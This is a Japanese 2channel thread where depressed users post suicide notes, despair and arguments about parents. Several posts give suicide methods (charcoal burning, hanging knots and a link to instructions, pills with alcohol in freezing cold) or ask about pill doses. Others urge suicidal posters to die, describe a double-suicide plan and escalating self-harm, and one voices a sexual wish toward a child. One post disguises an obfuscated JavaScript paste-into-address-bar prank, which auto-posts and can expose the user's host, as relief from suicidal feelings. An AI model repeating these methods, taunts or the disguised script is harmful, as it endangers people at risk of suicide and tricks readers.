死にたい遺書２通目

前スレ
http://life6.2ch.net/test/read.cgi/utu/1089945515/

もしテンプレとかあれば2以降で頼む…

２

乙です。
テンプレは前スレも無かったってことで。

死ぬ前にカードの解約やらADSLとプロバイダの解約やら・・・
考えたらマンドクセくなった。まだ死ねないかな。おばあちゃんに早く会いたいんだが

　　　　　　　　　　　　　 　　|￣｀`''- ､
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　　　　　　　　　　　　/ハ/　|　 | ヽ/　ヽ | ヽ　 | ||　/|ヽ/!　 |/　|　ヽ
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　　　　　　　　　　　　　　 ヽ! ＼ハ`　､ ヽ､__ノ　 　 ,.イ/ // | /
　 　 ┌/）/）/）/）/）/）/）/）/）/）lｰ/　` ー‐┬ '´ レ//l/　|/
　　　 |（/（/（/（/（/（/（/（/（/（/│||　　　 　 | ＼　 〃
　　r'´￣ヽ　　　　　　　　　　　 | |.ト　 　 　/　　＼
　 /　￣｀ｱ　　　 　　　 　 　　　| | |　　⌒/　　　　 入
　 〉　￣二)　糞スレ立てんな　| | |　　／　　 　 ／/ ヽ
　〈! 　 ,. -'　　 　 　 　　　 　 　 | | ヽ∠-----',　'´　 　 ',
　 | ＼| |　　　　　蛆虫　　　　　| |<二Z二￣　 ／　　 　 ',
　 | 　 | |　　 　 　 　　 　　　　 _r'---|　　[ ｀`ヽ､　　　　　 ',
　 | 　 | |　　　　　氏ね　　　　>-､__　　　 [　　　 ヽ　　 　 　!
　　＼.| l.　　　　　 　　 　　　　 ヽ､　 　 　 [　　　　 ヽ　　　　|
　　　 ヽ|　　　　　　　　　　　　　　＼　 　 r'　　 　 　 ヽ､　 　 |

あー喋れねぇロリッ娘に無理矢理おしゃぶりさせてぇなァー

ｵﾅﾇーして寝るかな

死にたいけど、死ねない、こんなひどい欝にした、椰子らには、
それ以上の苦しみを与えてからでないと、死んでも死にきれ無い。

嫌なこと辛いこと悲しいことはいっぱいあるけど死んでなにもかもなくなるのに比べたらまだまだもったいなくて死ねねーよ。
来週のジャンプも気になるし、オナニー気持いいし、おいしい物食べたいしそのあとのたばこも最高だし、
ビールうまいし加藤あい可愛いしインリンがヌードになるかもしれないし、
愛せる人と出会えるかもしれないし、全部許せる日がくるかもしれないし、
ほっぺた痛くなるほど馬鹿笑いできるかもしれないし。
楽しみが多すぎて死ねねーー

死ぬと分かっていて何故生きているのですか？

今まで生まれてきて良かったと思ったことなど一度も無い
むしろ辛い思いをした事の方が多い
ならいっそ今死んだ方が楽なんじゃないのか？

まあね、楽しみがあるうちは死ねない。
生きれるだけ生きてみようと思うよ。
いっぱい良い経験したいからね。

親やｱﾀｼを苦しめた奴に当て付けで死にたい。

楽しみがないけどしかたなく生きてる。ずっと
そしていつかしぬ。
なんのために生きてきたんだろう
親にも自分がいるだけで不幸にさせてしまう

世の中では、自分ではそうと知らずに
不幸を愛してる人が大量にいると思う。
そうした人たちは、何かのきっかけさえあれば、
自分固有の失敗パターンにはまり込んでいく。
不幸から脱するためには、まず自分のパターンに気づくことだよ。

つらい　もう駄目だ　

>>12
部屋に引きこもって２ｃｈみてるだけで、楽しみなんてみつかるかよ。
自分でみつけるもんだ。

>>13
いるいる、駄目な男とか、車椅子の男とか、目が見えない男とか、
何故か好き好んでそういう男とばっか付き合って悲劇のヒロインになりたがる女。
辛い辛い言ってるが、本人にとっては惚気話みたいなもんなんだよね。

>>14
じゃあ市ねよ。かまって欲しいならとりあえず部屋から出ろよ。

このスレの住人にはアコ

せめてこのスレの住人にはアコを忘れないでほしい

ごめん間違えて投稿した

>>15
死にたいやつがみんなお前と同じ環境とは限らない

前スレ>>987>>990
ちょっと思いとどまってみました。ありがとう。

死ねないけど死にてー
このままじゃ宅間になっちまう

タクマになりそうなアクマは集まって殺し合いすればいいんじゃないかな？

誰か遺書書いてくれよ。

>>23

俺はずっと自分自身の「存在価値」を探してきました。

父さん、母さん、あなた達はずっと俺を出来る子だって言ってくれてましたね。
でも違ったんですよ。俺はあなた達が自慢できるほど価値のある人間じゃない。
ほんとは無力なゴミ以下の存在だったんです。

それでも何かしらの意味があって俺は生まれてきたと信じてきましたが…
でも、もうそれも限界です。全て間違いだったんです。

今まで本当にありがとうございました。
俺は戻るべき場所へ帰ります。

さようなら…


…こんな遺書はどうだい？

あとだれだけ生きられるのか
あとどれだけ許されるのか
ただそこにあるのは干からびた風と大地と海のヌケガラ

泣けるフラッシュの有名スレをサウンドノベル化

http://www.vector.co.jp/download/file/win95/game/ff275550.html

>>15

＞いるいる、駄目な男とか、車椅子の男とか、目が見えない男とか、
＞何故か好き好んでそういう男とばっか付き合って悲劇のヒロインになりたがる女。
＞辛い辛い言ってるが、本人にとっては惚気話みたいなもんなんだよね。

女限定でしか話出来ない時点でお前の底の浅さが見えるな。

楽しませてもらったよ、あんたの戯言をなｗ

まあ女は馬鹿だから悲劇のヒロインになりたがる本能がある。
感受性豊かだからちょっとした悪口にも傷付くとかな。
シンデレラみたいに理不尽にいじめられてる可哀想な主人公気取ってんだよ。
メンヘラをお洒落なファッションやライフスタイルとして考えてるのが女ってやつ。
趣味でやってんだから男はいちいち本気にしちゃダメだね。

まあ、女は色んな事に敏感なんだよ。
少しでも自分に危害があったと思うと
黙っていられないんだよ。
女は器の小さい奴が思うよ。
許したり、謝れない女は我が強すぎるよ。

＞女は器の小さい奴が思うよ。
女は器の小さい奴が多いと思うよ。
訂正。

女のメンヘルなんて自分を有利にするための手段なんだよ。
心が病気だから自分には特別優しくしてって仮病を使ってるように見える。
ちょっと嫌な事があるとリスカしたりして注目と同情を浴びたがる。
まさに自分自身を人質にして周囲を脅迫してるようなもんだね。
男はみっともないからって苦しくても耐えて我慢してんのにさ。
女は楽でいいな。
俺も女になりたい。

『死にたい』の一点張り

ある意味目標かな

>>33
同感。

>>27->>31
>>15は泣きながら過呼吸とか起こしてるかもしれんぞ。
あんまり苛めてやるなよ。

…あ、でもこの時間なら鼾かいて寝てるかもなｗ

って、>>27書いたの俺じゃねーか!!!
朝から誤爆しちまったよ…orz
逝ってくるわ。

自演乙

女だけど鬱は必死に隠してる。
女子高だったからわかるけど
なんちゃって鬱が多すぎるし
器が小さいのが多いのは認める。
むしろ種と器の話なんだから
器は神経質でちょうどいいのかもね。
確かに頭の弱い悲劇のヒロインみたいなのはいるけど
母性からくるものの方が多いと思うよ。
母性が強いと自己犠牲も何のそのだから

>>38
言ってることはなんとなくわかるんだが、その繋げ方は変だよう。
この場合の器は人間的なもので、あなたの言ってるのはおそらく
また別のものっぽい。

あと、万事を男性か女性かで見ると非常に虚しいので止した方がいいかと。
…なんでって、自分がちょっと前までそういう風に物事見てて、
ものっそい虚無感を感じたから。

でも、母性も父性も、そこからくる防衛や自己犠牲も
生物としては間違っているはずのものではないのに、なんで時にあんなに
醜くなるんだろうね…。

漏れの母は
「自分は育て方を間違ってない
あんたはいい子に育った。普通の子じゃない、特別なものを持ってる」
と言う。
アホかｗ自分の子供の何見てんだって思う
特別な子供の母親になりたかったんだろうけど
漏れは凡人以下よ
あれは母性が正しくものを見せてないのか？

あれ、スレ違いｗ

>>40
俺もしょちゅうそんな事、親が言ってた。
でも、自分ら二人を客観的に見れば、そんな大したものが
製造出来る訳無いって、分かると思うんだが。

まあ、あれだ。DQNに客観性などない。
「子供を産んだ（産んだだけ）で自分は完璧な人間」とか思っちゃうから。
＜　ウチの親の事だけどナー

>>41
製造という表現になぜか萌えた

子供なんて簡単に産めるからね・・・・
子供産んだからって偉そうにするのは
間違ってる気する。

知らんけど母親にとってガキは特別なもんらしい。
凡人とかそうゆうのじゃなくてだな。
肉を分けた分身なんだから感じるもんがあっておかしくないね。
そこまで悪意に取ることないだろ。
その簡単にやれる子供生んだ事ないやつが言っても説得力無い。
本当にこの板の住人って楽しげに自分の親を悪く言うよな。
気持ち悪いしウゼエよ。

>>44
DQNな親を持ってみろ
自分にできなかったことを子供にやらせようとする
自分の理想の子供でないと泣く
(↑テストの点悪かった日にゃー泣いて「やればできる子なのに」だと)

悪意じゃないよ。だから性質が悪い
死ぬほど辛かった
自分は親のために生きていくのかと思うと
毎日頭痛がしてたよ
今は一人暮らしになってホッとしてる

そういう家庭もある
オマイに分からんかもしれんが
親なら子供の幸せ考えろｗ

>>44は幸せな家庭で育ったんだろうね。
別に君に親を悪く言う人の気持ちをわかれとは言わんよ。
同じ境遇の人間じゃなきゃわからないことってあるからね。

でもダメな親に育てられた可哀想な子供も世の中にはいるって事だけは覚えといてくれ。

俺の親も充分過ぎるほどDQN。
でも自分に出来なかったことを子供にやらせるってそんなに悪い事なんかね。
プロスポーツ選手とか子役や音楽家なんてみんなガキの頃から英才教育受けてんじゃん。
つうかそんなんですらなくて勉強だしよ。
普通に教育熱心な親でうらやましいけどね。
そりゃあ当時は面白くはなかっただろうけどさ。
勉強させてもらってちゃんと今の自分の役に立ってる部分もあるだろ。
まあ押し付けがましいのがウザイのわかる。
でも子供のために良かれと思ってやってたところだってあるはず。
親だって人間なんだし功罪あって当然でしょ。
罪の部分ばかり異常に主張してるのは幼稚で気持ち悪い。

>親なら子供の幸せ考えろｗ
これは親が思う事であってガキが無条件に要求するもんじゃないよ。

>>46
大きなお世話だっての。
俺はメチャクチャ虐待されてた。
不幸自慢しあう気はない。

>>47
悪かろうが悪くなかろうが
辛かったんだよ
オマイは善し悪しでモノを判断して
人の感情を考えないの？

確かに漏れの事を思ってやってくれたんだと思う
でも辛かったんだって
教育熱心なんじゃなくて、漏れの人格まで決めたよ
今までの自分を振り返ると、それを頑張って演じてるって感じ

アンパンマソの歌で
♪何が君の幸せ？何をして喜ぶ？
ってあるじゃん
うちの親は「この子にはコレが幸せだ」と決め付ける
まぁそれが罪だとしても別に償ってほしいわけじゃないよ
漏れの親だしね
今はもう、自分は決して親のようにはならない、と思うだけ
ただ死にたいと思ったのは確実に親のせいだった。漏れの場合

果てしなくスレ違いになってきている・・・

>>49
気持ちわかるなぁ
私も親（まぁ主に片方だけだが）のようには絶対になりたくない
死なないでこれからも生きてがんがってください
私は多分死ぬけど

今の自分が辛かったら何でも親の責任ってのは違うだろってこと。
躾けやおしおきは辛いもんなのは当たり前。
それに勉強して損になるはずはない。
だからまともな親はみんな勉強しろって口癖のように言うんだよ。
俺は親に対してもっと複雑な感情ある。
そんなバッサリ切って捨てるようなのは醜いし幼稚。
まあスレ違いだからいいや。
時間が経てばわかるだろ。

もういいや
話してもわからんよ
価値観が違う

損得か善悪か
オマイにはそれしかない
そう割り切るなら
もう悩む意味ないじゃんｗ

＞今の自分が辛かったら何でも親の責任ってのは違うだろってこと。
＞躾けやおしおきは辛いもんなのは当たり前。
＞それに勉強して損になるはずはない。
＞だからまともな親はみんな勉強しろって口癖のように言うんだよ。
＞俺は親に対してもっと複雑な感情ある。
＞そんなバッサリ切って捨てるようなのは醜いし幼稚。


辛い、っていうのはそういう意味ではないし
損かどうかなんてどうでもいい
オマイと話してると
親と話してるようでイライラする
自分がそんなに正しいか？
すべてを悟ってんのか？
お前に漏れの何が分かる？
知った顔で説教すんな

言うだけムダだろうけど

>>50
ありが�d
さらっと多分死ぬとか言うなよΣ(´Д｀lll)

リア厨かよ。

自分がそんなに正しいか？
すべてを悟ってんのか？
お前に漏れの何が分かる？
知った顔で説教すんな
ってこったなW

まぁそんなに怒らないで･･･

>>54にもいろいろと事情はあるんでしょうが、それでも親を敬える何らかの要素があったんじゃない？
自分自身の気の持ちようも関係あるとは思うけどね。
親に感謝できるのはいいことだと思うし、私にしてみりゃ羨ましい。

うちの親の場合（さっきも言ったように主に片方）は敬える要素がない。ほんとに。
一生懸命いいトコ探そうと思っても頭抱えちゃうよｗ
色んな角度から見て、あーやっぱコイツだめだ、と思う。

>>54
オマイ絶対人の親になっちゃ駄目だぞ(｀･ω･´)
子供が可哀相

>>55
いや、怒ってなくて呆れてるだけ。
それに親に感謝してるって表現はちょっと違う。
こいつもう死ねよとか思ったり良くあったしな。
多分客観的に判断すれば俺の親のほうがろくでなし。
つうかそんなに嫌いなやつの影響受けて支配されてんのが悔しいじゃん。
グチグチ言えば言うほど片思いのストーカーみたいだって気がつかんもんかね。
すげえ情けなくてみっともない態度に見える。
まあ厨房の時そんな感じだったなあとは思うけどね。
自分もこういう痛さがあったから見てていたたまれなくなるのはある。
だからつい構っちゃうんだね。

>>56
はい、わかりました。
親切にどうもありがとうね。
親になるのはよします。

い、一緒にされたくねぇ・・・( ･д⊂ヽ゛
全然人の意見読んでなくて
自分の勝手な思い込みでレスされてもキモい・・・
客観的って・・・本人が言っちゃってるし
ごめん、もういいわ
本気でキモい

>つうかそんなに嫌いなやつの影響受けて支配されてんのが悔しいじゃん。

あぁ･･･それはよく言われた･･･
考えないようにすりゃいいんだよね。自分でもそう思ってるし考えたくないけど、なんか脳内が支配されているっていうか、
気づいたら殺意やら憎悪やらが頭ン中で渦巻いているって感じで。
自分でもﾔﾂのことを考えていると思うと気持ち悪いんだけど、なんか考えてしまう。
ホント無駄な妄想なんだけどさ･･･これって病気なんだろうか･･･

なんかどんどんスレ違いになってゆくね･･･
ということで少し遺書っぽいものを･･･

自分が生まれてきた時に喜んだ人と、自分が死ぬ時に悲しむ人は、どちらが多いだろう。
私はこの世に、望まれて生まれてきたはずなのに、どうして幸せになれなかったんだろう。

ってかそもそもこのスレの主旨がわからん･･･

人間全体として遺伝子残していけばいいだけだから個人として幸せになるようには生まれてないだろ。
つうか本質的な幸せなんて無いと思うが。
例えばペットと家畜ってどっちが幸せなのかって考えたらキリが無いでしょう。
この幸せ不幸せ概念に縛られてる影響ってデカイね。
それでも金は欲しいし精神的な安らぎも得たいのはある。

>>61
初代スレは確か死にたいって書いたら気持ちが楽になるとかもちつくから立てましたってな感じだった

親に殺意が沸くような人はそれほど残酷な育て方
されたんだと思うよ。

>>61>>63
俺は初代スレで、「誰か次スレ立てて」って書いてたから立てた。
それから遺書ってさ、書いてるうちに冷静になったりしないか？
だから俺は遺書２通目ってつけたんだけど…

それから死にたいって思う理由は人それぞれだから、
いろんな話が出てきてもいいんじゃないかな。

アコはこのｽﾚ見てるかな…。死んでなかったりﾈﾀだったんなら教えてほしい。
アコには生きててほしい。もう無理なんかな…

教えてください。練炭自殺ってどうやって死ぬんですか？よく夏は避けた方が良いと聞きます。
当方、別に練炭で死にたいとかじゃないんだけど気になって。。。

>>67
密閉した室内で練炭焚きまくるだけですが…。

首吊る時の紐の結び方教えてください
吊ったら自動的に絞まる結び方なんでしょうか？
それともわっかつくるだけですか？

自分で調べろ

首吊る時の紐の結び方を考える暇があったら、
童貞から脱却でも考えろやｗ

普通にわっか作って吊るときに首にぐるぐる巻きにスりゃいいんじゃないの？
ていうかテキトーでｲｲと思うんだけど。ほどけなきゃ

自分で試行錯誤すればいいじゃん。
なんでそんなくだらない事聞くのだろうか。

>>69
下記の[204]〜[206]を参照。
ttp://medicine.dot.thebbs.jp/1053024952.html

私､やっと､死にたいって気持ちから､解放されました!ここに､書き込みしたからかなぁ?また､そんな気持ちになっちゃうかも知れないけど､できるだけ負けないように､生きていこう!!

自殺したら卑怯とか負けとか、頭の悪い奴が多いな

>>76
禿同

卑怯の意味を知れと思う

激しい希死念慮から医師に措置入院を勧められています。
どなたか経験者はいらっしゃいませんか？

スレ違い失礼しました。
あと措置入院という用語法は間違いだそうです（恥）。

やっぱり死にたいです。
遺書を書いてみました。

父さん、母さん、今まで苦労かけてすみませんでした。
カウンセリング代を無駄にしてしまって申し訳ありません。
私は弱い人間です。こんな事で死ぬなんて馬鹿馬鹿しいと思うでしょうが
私の唯一の生きる糧となっていた物をなくした今、生きていても何の楽しみも
なく、これから先も同じだと思うと生きるのがとても辛いです。
ここまで至った経緯は病院で話してきたので先生に聞けば分かると思います。
それではさようなら。

本当は入院したいです。でも病院で死にたいと言っても軽く受け流されて
しまったので死ぬしかありません。医師に思い知らせてやります。
あとはどうやって死ぬか考えるのみです。あーぁ、事故にでも巻き込まれ
ないかな

>>80
死にたきゃ勝手に死ねよ。
ま、お前みたいなヤツはリスカも出来ないくらい臆病なんだろうけどな。
医者に思い知らせたいならその医者の前で首の動脈掻っ切れよ。

＞事故にでも巻き込まれないかな
あくまでも他力本願…お前は一生死ねないよｗ

きつい事書いたけど、ほんとは生きててほしい…

って、、これってもしかして釣り？
違うならレスしろよ　（・∀・）

遺書に書きたいことありすぎてまとまんない。
裏切った奴への恨み、私を殺し損ねた親への軽蔑、
生まれてきたこと自体間違いだったんだ。
ぜーんぶ綺麗に書き上げられたら、フィンランド行って
眠剤あるだけ飲んで氷河のクレバスへダイブ！夢だなあ。

私は外国行ってしぬんだったらわざわざ面倒な事しないで拳銃で楽に死ぬけどなぁ

>>83
拳銃で死ぬって…引き鉄を引くまでの恐怖心を思えば
ビルから飛び降りた方が楽なんじゃない？

拳銃手に入れるには裏社会に足突っ込むか警官の知り合い作って奪い取る。
どっちもめんどくさいな。

事故を待ってもすぐには死ねないので、飛び降りの場所を探していたら警備員に見つかりました。こちらは台風がすごいです。溺れるのは苦しくて泳いでしまいそうなので川に入る勇気はありません。今日は家に帰ります。まだ死ねない意気地無しです。

北海道は簡単かもしれません。

真冬の真夜中の人気の無い場所（屋外）で、眠剤とお酒を多目に飲んで眠るだけです。

私は２年前にやりましたが、真夜中ではなく午後９時ごろにしてしまったので、
発見されてしまって、全くおぼえていませんが、病院のベッドで気がつきました。

全く痛くも苦しくもありませんでした。

眠剤って､何錠くらい飲めば､死ねるの?

死にたい

とにかくとりあえず自分で試してガッテンしろ

>>86
お、レスがあった。
意気地なしでいいじゃん。気楽に死に場所を探しなよ。
探してるうちに生きていく術が見つかるかもしれないしさ。

とりあえず自分のこれまでの荷物を整理してみなよ。
何か見つかるかもしれないから…

死にますように、どうか死にますように。

私も死にますように、どうか死にますように。

私も､死にたい｡誰か､助けて｡死にたいなんて思った事､21世紀に入るまでなかったのに｡誰か､救って｡死ぬな!って､言って!

死にたい｡

近日中に死にたい

>>94
シヌナッ！
とカタカナで書くと､なんか違う意味みたいよね。

で、なんで死にたいの？
わっかんないなー心の病かね？

無意識で死にたい

理由は､心の病かな｡ある事がきっかけで､外に出るのが怖くなった｡仕事も出来ない､買い物にも行けない､遊びにも行けない､大好きだったﾗｲﾌﾞにも行けなくなった｡外が怖い｡病院にも通ってるけど､治らなくて…｡死んじゃいたい｡

私も大好きだったｸﾗﾌﾞにも行けなくなったよ…
死にたいと思うけど実行に移す勇気はないんだよね。
今日も1人で死にたいとかつぶやきつつだらだら過ごします。

やっぱり､外が怖いの?

思えばアッと言う間の人生でした

生まれてきてごめんなさい
私が存在することが憎いから辛く当たってきたんだよね？
そうでないと説明できないもん
死んだらみんな喜んでくれるんだよね？
もう疲れたよ

早く人間止めたい。

私が死んでも泣くな、と。
おまいが泣いてもしょうがないんですよ。
おまいが自分責めてもどうしようもないんですよ。
私のことで無くなんてみっともないことするんじゃない、と。

生まれて初めて薬が効いてきたのか、
動けるようになってきた。
さぁ、練炭を買いに行こうか……

>>91
ありがとう。今日も生きています。

アコどうなったんだろう。いいやつだったのに。ここにいる人もみんな良い人
なんじゃない。だから傷ついて死にたいってなる。
良いやつなら死ぬことはないのに。まあこんなとこでこんなことかくのも偽善
かもしれないけど。

死にたいです。
もう孤独で孤独で壊れそうです。
薬が効かない。
死にたい。

小さい頃から下の兄弟の面倒を私に押し付け
ため息をついて「昔両親に言われて嫌だった事」を私に平気で言う母
10年近く苛められていた事を「全然しらなかった」と笑いながら言い、
本を開けば出てくるような奇麗事しか言わない父
小中と万引きを繰り返し、祖母からお金を貰い、家のお金を盗み、大学はサボり中退
お得意の泣き落としで専門学校へ通うも来年はプーかフリーターほぼ決定の弟
小さい頃から我儘放題・聞き入れられなければ物を壊し、暴れ、暴力を振るう。
空気を全く読まず、形振り構わず生きるエセ芸術家の妹
そんなダメ弟と妹を許し、言いなりの父母
私を母親代わりに頼り、甘える恋人

苦労人故、生真面目な父母。私はしっかり躾られたと感謝しています
しかし私は将来に不安が持てないのです。結婚しても幸せにはなれないと思うのです　
小さい頃から「可愛い」といわれた記憶がないので、どうしても自分に自信が持てないのです
私も子供に同じ事をしてしまいそうで怖いのです
弟が父母にお金をたかるのが、母の病気が進むのが、いつか皆いなくなるのが怖いのです

私が死んだら浮いたお金と保険金で新車を買って下さい二人で旅行へ行ってください。　　
ガレージのある家を建てるか、マンションでも買って下さい
お手伝いさんを雇って祖父母の家へ行くのもいいと思います
弟妹には厳しくして下さい　どうか二人でのんびり幸せに暮らして下さい
貰われた猫は元気にしているようです。犬をよろしく

仕事はずっと休まず遅刻もせず行きました。引継ぎはできませんが適当に頼みます

今までありがとう　一日も早く私が居た事は忘れて下さい
友達の結婚式へ行けて幸せでした　私はあんな風にはなれないけど　もうあきらめました

今までありがとう。

そして、ごめんなさい。

恋人が最近死にたいといって毎日泣いています
私は疲れました。私は力になれないのです
でも愛しているのも本当です。
２人で死のうと思います。
今まで、何度も２人で未遂をしましたが
やはりどちらかの家族の目の届く場所というのが　失敗の原因に思えてなりません
何度も　ご迷惑をお掛け致しました
今度こそ２人で成し遂げます
今までご迷惑ばかり　大変申し訳有りませんでした

>>111
ちょっと待て！
お前の保険金って幾らなんだ？スゲー莫大？
逝く事はとめないがそれだけ教えて。

>114
人にものを尋ねるときは、自分からでしょ。　それがマナー。
どうでもいいが、漏れは３００万（ｗ

アコの事気になるね。前ｽﾚみた限り良い子っていう印象があるから…。

死にたいというより壊れたい。
壊れて全てリセットしてしまいたい。
もう誰の期待にも応えられそうにない。
誰も知らないところに行きたい。
この鬱病は望んだものだ。
誰か解放して。
涙が止まらない。

生きるのはもう結構だ。
これ以上の苦痛が死ぬまで、いや、
もしかしたら死んだ後まで続くのかと思うと耐えられない。

こんな足を引っ張るだけの糞な肉体など必要ない。
こいつのおかげでどれだけ苦しんだことか。潰せ。
でもこの意識も脳が作ったものだと気づくと、…虚しい。

この苦しみの先に何がある。
釣り合うだけの幸福が、あるというのか。
苦痛に耐える日々の努力に、意味など見えたことがない。

落ちるところまで落ちたと思いたい。
ここが底辺でなければ何だ。

これから私は私を解放するために努力するつもりだ。
成功を祈って頂けると嬉しく思う。

【死にたい】ただそれだけ。。。

>>115
俺、親父に保険更新したからなってボソっと言われた。
生命保険の死亡時の額を見たら最高額三千万円ってアンタ…
せめて、死んで金になれってか…被害妄想しちゃうぞ。チクショー

死ねるかボケ！！でも、死にたいorz

私のことで気を揉んでいた皆さん、これで楽になったでしょう？
私も楽になりました。

生まれてきたのが私でごめんなさい。名前のように優しい子になれなくてごめんなさい。

私が死んで子どもが一人になったからって私の大好きなお兄ちゃんに圧力や期待をかけすぎないでください。
16年間頑張って生きたよ。さよなら。

おとうさん、おかあさん、おばあちゃん、ごめんなさい。

勉強が出来る子だったから、いっぱい期待させちゃったね。
でも、社会に出る勇気が無くて、仕事に就けなかったよ。
なんで、内定先を断ったりしたんだろ・・・・

期待を裏切っちゃったね。たくさん心配させちゃったね。
ごめんね。
俺、もう自分に耐えられないよ。
最後にもう一つ、ごめんなさい。
もう、生きていけないよ。

就職のチャンスは何度か合ったんだ。
でも、不安感が強すぎて全て断ってしまったよ。
不安をなくす薬を昔から飲んでいれば良かったよ。
今は手遅れだね。

ごめんなさい。
ごめんなさい。
俺なんか生まれてこなければ良かったのにね。
みんなに心配をかけただけの人生だったよ。
本当にごめんなさい。

今日も不採用の電話があったよ。
ここ２ヵ月間頑張ったけど、全部不採用だったよ。
面接で鬱が発生したり、採用方針にそぐわない話をしたり、落ちるのは当たり前だね。
また心配かけてごめんなさい。
もう仕事が見つからないよ。
ごめんなさい。ごめんなさい。

全く価値のない人間になってしまったよ。

将来の事を考えると、不安で不安でどうしようもなくなる。
どうせ親の遺産を食いつぶすんだろうな。
生きる不良債権だね。

どうせなら、お父さんとお母さんの手で僕を殺してください。
そうなるのであれば、僕は幸せです。

僕がいる事で一生心配をかけるのであれば、早めにいなくなった方がいいよね。
仕事に就けない僕がいる事で、お金が心配のために豊かな老後が送れないのであれば、
やっぱり僕なんていない方がいいよね。
ごめんなさい。
うまれてごめんなさい。生きていてごめんなさい。

職の見つからない僕に明るく話しかけてくれているね。
きっと自殺を心配しているんだと思う。
心配かけてごめんなさい。
でも、これからもずっと心配かけるんだと思う。
もう、心配かけたくないよ。

お祖母ちゃんも電話で僕の事を心配していたよ。
お祖母ちゃんが鬱病持ちなのは僕のせいでもあると思うよ。
本当にごめんなさい。

ごめんなさい。
ごめんなさい。

大学入学の時も心配かけたね。
行きたくない大学だったから、ため息ばかりついてね。
学費を出してもらうのに、なんという甘ったれだろうね。
結局、その大学は中退して希望の所に入り直した。
お金ばっかりかかってごめんなさい。
勉強は頑張ったよ。でも、社会性を全く身につけなかった。
大学院に行っても身につけなかった。
そのせいで就職活動が失敗の連続だった。ごめんなさい。
いくら勉強しても、社会に出られなければ全く意味がないよね。
ごめんなさい。

僕ってなんのために生まれてきたんだろうね。
みんなを困らすために生まれてきたのかな。
酷い子だよね。

ごめんなさい。

これからなにをしたらいいのかわからないよ。

もう、疲れたよ。

時間を戻して欲しい。
何で内定先を断ったりしたのだろう・・・
社会に出る恐怖を避けたら、身の破滅しかまっていないというのに・・・

本当に破滅寸前だよ

・・・もう、疲れたよ。

おとうさん、おかあさん、おばあちゃん
本当にごめんなさい。
心配かけてごめんなさい。
何も恩返しできずにごめんなさい。

こうなる事はわかっていたはずなんだ。
なのにこうなる事を避けようとしなかった。
馬鹿だよね。

ごめんなさい。

就職した先輩にあったとき、哀れみと驚きの目で見られたよ。
このときならまだ間に合ったんだ。
なのにそのままこの道を来てしまった。
あのときの先輩の目を見て、自分がやばい状況にある事を自覚したはずなのに
何もしなかった。

ごめんなさい。

変なプライドと、社会に出る恐怖を払拭できていれば、今頃は親孝行できたのにね。
何も出来ずにごめんなさい。

>>123-137
お前は俺か

おとうさん、おかあさん。
もう、就職できそうにないよ。
もう、生きて行けそうにないよ。

どうか、この失敗作を二人の手で処分してください。
そうなれば本望です。

あの世へ帰りたい　三途の川に蓮の花
あの世へ帰りたい　僕がこの世に生まれる前のふるさとへ
あの世へ帰りたい　白檀の花に包まれて
あの世へ帰りたい　僕がこの世に生まれる前のふるさとへ

モダンチョキチョキズ「あの世へ帰りたい」

もう疲れました。
死ぬのは怖いけど、生きるのも辛いです。
どうしたらいいのかわかりません。

あ、またリスカしちゃったｗ
でもまだ浅いからもう少し深く切ってみるね♪

>>141
とりあえず心療内科に行けば？

就職がないなら資格とればいいじゃん。そんなことで死ぬ理由にはならんと思うけど。
俺ももうすぐ２６になって職歴がない。履歴書はかなり悲惨な状況だよ。
それでも生きてみようと思っている。
自営業という手段だってあるし、就職が決まらないくらいで死ぬなよ。
手自分に言い聞かせて見せるテスト。

死にたい｡でも､生きてみようと思ってます｡色々あるけど､もう少し頑張ってみよう!って｡死ぬのはいつでも､できるもの｡いつか､こんな事もあったなぁって､笑って話できる様に｡頑張ってみよう!

死ぬ前に、下の事やってみな、ちょっとだけ死にたい気持ちが
和らぐから。

（準備）
2ch専用ブラウザを使用している人は、
ＩＥなどの一般的なブラウザでこのスレを開いておく。

１、
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f4d2e76616c75653d2766757369616e6173616e273b4d4553534147452e7661
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75333034665c75333036305c75333035355c7533303434273b7375626d697
42e636c69636b28293b7d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。

２、
改行を外して１行にする。

３、
１行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。

４、
Enterを押す（もしくは「移動」をクリックする）。

俺はこれをやって思わず笑ってしまったよｗｗ

兄貴画像ください

　　　　　　　　　＼　　　∩─ｰ､ 　　　====
　　　　　　　　　　 ＼／　●　､_ ｀ヽ 　　======
　　　　　　　　　　　/ ＼(　●　 ● |つ
　　　　　　　　　　　|　　 X_入__ノ 　 ミ　　　そんなクマ――！！
　　　　　　　　　　　 ､　(＿／　　　ノ　/⌒l
　　　　　　　　　　　 /＼＿＿＿ノﾞ＿/　 /　　=====
　　　　　　　　　 　 〈　　　　　　　　 ＿_ノ　　====
　　　　　　　　　　　 ＼　＼＿　　　　＼
　　　　　　　　　　　　　＼＿__）　　　　　＼　　　======　　　(´⌒
　　　　　　　　　　　　　　　　＼　　 ＿＿_ ＼＿＿　　(´⌒;;(´⌒;;
　　　　　　　　　　　　　　　　　 ＼＿＿＿）＿＿＿）(´;;⌒　 (´⌒;;　　ズザザザ
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　(´⌒;　(´⌒;;;

仕事がない。
これは、この社会で俺は必要とされていないという事を意味しているのだろう。
本当にそう思う。
生きている資格がないね。

あることがきっかけに、死にたいと思い、久しぶりにリスカをしました。
痛かったけど、死ぬのはもっと痛いのでしょう。でもそれ以上に生きてることが痛くてたまらないのです。
もう、息をひきとりたいです。
私は皆に迷惑をかけてばかり。生まれてくる必要はなかったのです。
神様、何かの手違いだったのでしょう？ごめんなさい。ごめんなさい。ごめんなさい。

>>149
その気持ちよくわかります。
私も自分が生まれてきた事に価値があるとは全く思えません。
これ以上生きていても、親や兄弟に迷惑をかけるだけでしょう。

今まで十分生きました。もう寿命という事にして欲しいです。

>>149-150
私も同感です。本当に何の為に生まれて来たのか、分からないです。
でも自殺すると、家族が周囲の人達に何言われるかと思うと、
踏み切れないです。

>>151
そうですよね。
自殺をしたら、こんな私でも酷く悲しむでしょうから。
以前、父の友人の息子が外国旅行中に事故死しました。
その母親はおばあさんのようになってしまったそうです。
「二十歳そこそこで死なれたらたまらないよなぁ」と父は言っていました。
自殺という事になったら、その悲しみは事故死どころではないでしょう。

生きるのも地獄だし、死んだら家族が地獄です。

死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい死にたい
